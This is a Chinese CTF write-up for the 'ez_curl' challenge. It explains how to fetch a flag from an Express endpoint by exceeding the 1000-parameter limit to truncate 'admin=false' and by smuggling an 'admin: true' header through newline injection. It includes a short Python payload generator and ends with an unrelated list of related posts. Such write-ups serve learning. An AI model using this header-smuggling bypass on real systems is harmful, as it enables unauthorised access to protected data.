[CTF]攻防世界:ez_curl

题目:EZ_CURL

提示:php审计 noed.js

c 复制代码
app.js

const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

req.query.admin.includes:要求在URL中admin字段的值不包含"false"子串(必须要有admin字段)

req.headers.admin.includes:要求在报文头部中admin字段的值包含"true"子串


步骤

1、绕过URL

在NodeJS中有以下知识点:express的parameterLimit默认为1000,即当参数个数大于1000时,后面的参数将被截断。

当我们给params赋值的成员个数大于1000时,即可让$url中admin=false被截断。

2、绕过headers的判断

1、换行符截断

c 复制代码
{"headers": ["xx:xx\nadmin: true"]}

admin和true字符串都在第一个冒号后,而在NodeJS解析时,会解析得到admin的字段为true.

2、node.js解析

c 复制代码
{"headers": ["admin: x", " true: y"]}

admin和true是分开的两个数组,不会同时满足过滤条件,所以可以绕过PHP文件的判断。在正常解析过程中,在键名中是不允许存在空格的,但NodeJS在遇到这类情况时是宽容的,会将其解析成 admin:x true y

3、拿到flag

c 复制代码
import json

datas = {"headers":["xx:xx\nadmin:true"],
         "params":{"admin":"true"}}

for i in range(1002):
    datas["params"]["s"+str(i)] = i

json1 = json.dumps(datas)
print(json1)
相关推荐
云水一下1 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
千里马学框架1 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台1 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone1 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc1 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo1 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077001 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
XUEYUAN52121 天前
ASN 自治系统号风控:平台如何通过 IP 所属自治域批量识别代理流量
python·网络协议·http·网络安全·socks5
其实防守也摸鱼1 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
TechEdu2026061 天前
[人工智能]人工智能时代的零日漏洞与零日攻击
人工智能·网络安全·ai·信息安全